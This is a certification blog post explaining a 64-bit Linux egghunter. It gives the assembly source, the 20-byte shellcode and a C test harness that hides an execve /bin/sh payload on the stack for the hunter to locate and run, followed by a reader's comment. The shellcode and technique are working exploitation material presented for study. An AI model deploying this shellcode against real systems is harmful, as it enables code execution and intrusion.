Here is an example that assumes our main payload will be farther down the stack. Recall the stack grows toward lower addresses, so we will load the current stack pointer and increase it, going back toward higher addresses (the bottom of the stack). The egg is a simple 4-byte sequence that we are searching for, and we jump to what follows it.
BITS 64 egg equ 'z0x0' global _start section .text _start: push rsp ; load current stack pointer pop rcx add rcx, 0xff ; we need to skip our own code hunt: inc rcx ; higher addresses cmp dword [rcx - 4], egg jne hunt found: jmp rcx
This assembles down into a nice compact 20 bytes.
\x54\x59\x48\x83\xc1\xff\x48\xff\xc1\x81\x79\xfc\x7a\x30\x78\x30\x75\xf4\xff\xe1
Remember RCX begins at the stack pointer, the start of our hunter shellcode. We don't want to accidently find the egg that is within our hunter shellcode (doing so in this case will result in an infinite loop). Since we know this shellcode is 20 bytes, we add 4 to it (since the compare subtracts 4) to skip completely over all of our own code, and dig deeper down into the stack. So in the final payload we can replace the addition of 0xff to RCX with 0x18 (decimal 24).
Finally, here is a C example that sets up a dirty stack, which has a local shell payload for the egghunter to find. It is compiled with: gcc -m64 -z execstack egghunt.c
int main(void) { char egghunter[] = "\x54" /* push %rsp */ "\x59" /* pop %rcx */ "\x48\x83\xc1\x18" /* add $0x18,%rcx */ "\x48\xff\xc1" /* inc %rcx */ "\x81\x79\xfc\x7a\x30\x78\x30" /* cmpl $egg,-0x4(%rcx) */ "\x75\xf4" /* jne 6 hunt */ "\xff\xe1" /* jmpq *%rcx */; char stackgarbage[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; char eggpayload[] = "z0x0" /* egg */ "\x31\xf6" /* xor %esi,%esi */ "\x48\xbf\xd1\x9d\x96\x91\xd0" /* movabs $str,%rdi */ "\x8c\x97\xff" /* . */ "\x48\xf7\xdf" /* neg %rdi */ "\xf7\xe6" /* mul %esi */ "\x04\x3b" /* add $0x3b,%al */ "\x57" /* push %rdi */ "\x54" /* push %rsp */ "\x5f" /* pop %rdi */ "\x0f\x05" /* syscall */; (*(void(*)()) egghunter)(); return 0; }
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.
Student ID: SLAE64 - 1360
Hey man. Nice guide. I am also doing the certification and was stuck on this one. How do you know that the egg hunter shellcode you wrote(of 20 bytes) is in working condition? Did you make a custom stack where hid something and then used that to find out? I am trying that and the code is just not working. Please Help!!
ReplyDeleteOnce again, Awesome Blog